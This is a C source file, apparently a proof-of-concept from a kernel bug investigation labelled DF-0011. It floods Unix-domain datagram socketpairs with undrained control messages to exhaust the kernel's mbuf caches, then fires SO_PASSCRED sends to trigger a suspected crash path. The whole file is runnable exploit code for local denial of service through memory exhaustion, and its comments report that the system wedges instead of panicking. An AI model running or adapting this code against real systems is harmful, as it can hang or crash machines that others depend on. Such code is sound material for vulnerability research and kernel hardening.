DF-0011 / flood_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-0011 flood+trigger monitor helper. * * Floods AF_UNIX SOCK_DGRAM socketpairs with control-bearing datagrams * (each pins 1 plain MT_CONTROL mbuf + 1 pkthdr data mbuf), without * draining, to exhaust the plain "mbuf" objcache that sbcreatecontrol() * draws from. Then fires no-control SO_PASSCRED trigger sends. * * Used together with a root `vmstat -z` poller to show the plain & pkthdr * caches draining together (which is why the trigger wedges instead of * panicking: see VERDICT.md). * * Build: cc -o flood_trigger flood_trigger.c -lpthread */ #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define NHOG 6 static volatile int g_stop = 0; /* One flood thread holds many socketpairs OPEN and filled, accumulating * pinned plain (MT_CONTROL) + pkthdr mbufs. Because each datagram carries * one control mbuf, the plain:pkthdr ratio is 1:1 -- exhausting the plain * cache (which sbcreatecontrol draws from) also exhausts the pkthdr cache * (which the trigger's data mbuf draws from), so the trigger wedges instead * of reaching uipc_send. See VERDICT.md. */ static void * flood(void *arg) { char cmsgbuf[CMSG_SPACE(sizeof(int))]; struct cmsghdr *cm = (struct cmsghdr *)cmsgbuf; cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = 0xdead; /* unknown type: accepted, kept as plain MT_CONTROL */ cm->cmsg_len = CMSG_LEN(sizeof(int)); struct iovec iov = { "x", 1 }; struct msghdr mh; memset(&mh, 0, sizeof(mh)); mh.msg_iov = &iov; mh.msg_iovlen = 1; mh.msg_control = cmsgbuf; mh.msg_controllen = CMSG_LEN(sizeof(int)); int bs = 1024 * 1024; int held[4096][2]; int n = 0; int round; for (round = 0; !g_stop && n < 4096; round++) { int s[2]; if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, s) != 0) { usleep(1000); continue; } setsockopt(s[0], SOL_SOCKET, SO_RCVBUF, &bs, sizeof(bs)); setsockopt(s[1], SOL_SOCKET, SO_SNDBUF, &bs, sizeof(bs)); /* flood the receiver buffer with control-bearing dgrams, then * LEAVE the pair open so mbufs stay pinned. */ while (sendmsg(s[1], &mh, MSG_DONTWAIT) > 0) ; held[n][0] = s[0]; held[n][1] = s[1]; n++; if ((n % 64) == 0) fprintf(stderr, "[flood] %d pairs pinned\n", n); } /* spin holding them until stopped */ while (!g_stop) sleep(1); while (n > 0) { n--; close(held[n][0]); close(held[n][1]); } return NULL; } int main(void) { pthread_t t[NHOG]; int i; for (i = 0; i < NHOG; i++) pthread_create(&t[i], NULL, flood, NULL); /* let the flood build pressure */ sleep(15); /* set up the SO_PASSCRED trigger and fire */ int trig[2]; int on = 1; if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, trig) != 0) { perror("socketpair trig"); return 1; } setsockopt(trig[0], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)); fprintf(stderr, "[*] firing SO_PASSCRED triggers under pressure...\n"); int got = 0; for (i = 0; i < 100000; i++) { if (send(trig[1], "x", 1, MSG_DONTWAIT) == 1) { char rb[16]; recv(trig[0], rb, sizeof(rb), MSG_DONTWAIT); got++; } } g_stop = 1; for (i = 0; i < NHOG; i++) pthread_join(t[i], NULL); fprintf(stderr, "[*] fired %d triggers; if you see this, no panic.\n", got); return 0; } |